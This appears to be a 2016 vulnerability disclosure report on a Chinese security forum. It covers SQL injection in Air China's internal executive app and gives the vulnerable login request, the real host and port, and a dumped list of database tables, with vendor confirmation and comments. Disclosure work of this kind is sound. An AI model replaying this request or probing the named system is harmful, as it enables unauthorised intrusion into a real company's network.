中国国际航空股份有限公司某APP云端注入漏洞一枚

可通过http://app.airchina.com.cn下载国航内部使用的一些APP

目标：中国国际航空“高管驾驶舱”APP

漏洞：注入

问题数据包：

GET /camc_pserver/loginAction.do?method=loginCheck&WORK_NO=admin&PASSWORD=123456&VERSION_ID=1.0-ai-b06-1.5&DEVICE_OS_VERSION=7.1.2&DEVICE_SN=67377794-A3D9-4B43-ABBC-D81D6791F7BF&DEVICE_BRAND=iPhone HTTP/1.1
 Host: mp.airchina.com.cn:8001
 Proxy-Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: zh-cn
 Connection: keep-alive
 User-Agent: %E9%AB%98%E7%AE%A1%E9%A9%BE%E9%A9%B6%E8%88%B1/1.0 CFNetwork/672.1.15 Darwin/14.0.0

注入点和类型：

数据库名称：

CTXSYS库：

Database: CTXSYS

[47 tables]

+-----------------------------+

| DR ACTIVELOGS |

| DR CLASS |

| DR DBO |

| DR DELETE |

| DR FEATURE_USED |

| DR FREQTOKS |

| DR INDEX |

| DR INDEX_CDI_COLUMN |

| DR INDEX_ERROR |

| DR INDEX_OBJECT |

| DR INDEX_PARTITION |

| DR INDEX_SET |

| DR INDEX_SET_INDEX |

| DR INDEX_VALUE |

| DR NUMBER_SEQUENCE |

| DR NVTAB |

| DR OBJECT |

| DR OBJECT_ATTRIBUTE |

| DR OBJECT_ATTRIBUTE_LOV |

| DR ONLINE_PENDING |

| DR PARALLEL |

| DR PARAMETER |

| DR PENDING |

| DR POLICY_TAB |

| DR PREFERENCE |

| DR PREFERENCE_VALUE |

| DR SDATA_UPDATE |

| DR SECTION |

| DR SECTION_GROUP |

| DR SLOWQRYS |

| DR SQE |

| DR STATS |

| DR STOPLIST |

| DR STOPWORD |

| DR SUB_LEXER |

| DR THS |

| DR THS_BT |

| DR THS_FPHRASE |

| DR THS_PHRASE |

| DR UNINDEXED |

| DR USER_EXTRACT_ENTDICT |

| DR USER_EXTRACT_RULE |

| DR USER_EXTRACT_STOP_ENTITY |

| DR USER_EXTRACT_TKDICT |

| DR WAITING |

| SYS_IOT_OVER_55427 |

| SYS_IOT_OVER_55474 |

+-----------------------------+

数据量挺大的：

内部使用的APP是进入企业内网的边界（仅作安全测试，未dump任何数据，可看日志自查）

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-03-16 09:34

厂商回复：

感谢对国航信息系统建设的帮助。

最新状态：

暂无

1. 2016-03-14 15:19 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

   1

   亲爱的中国国际航空，是的，又是厨子，不知道你们想厨子了没有？ 反正，厨子想念你们的20Rank了，亲，谢谢！

   1#回复此人

2. 2016-03-15 12:04 | 猪猪侠 ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了，还要自由干吗？)

   1

   公然刷RANK，不可忍

   2#回复此人

3. 2016-03-15 13:28 | 高小厨 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子！)

   1

   @猪猪侠 猪哥息怒

   3#回复此人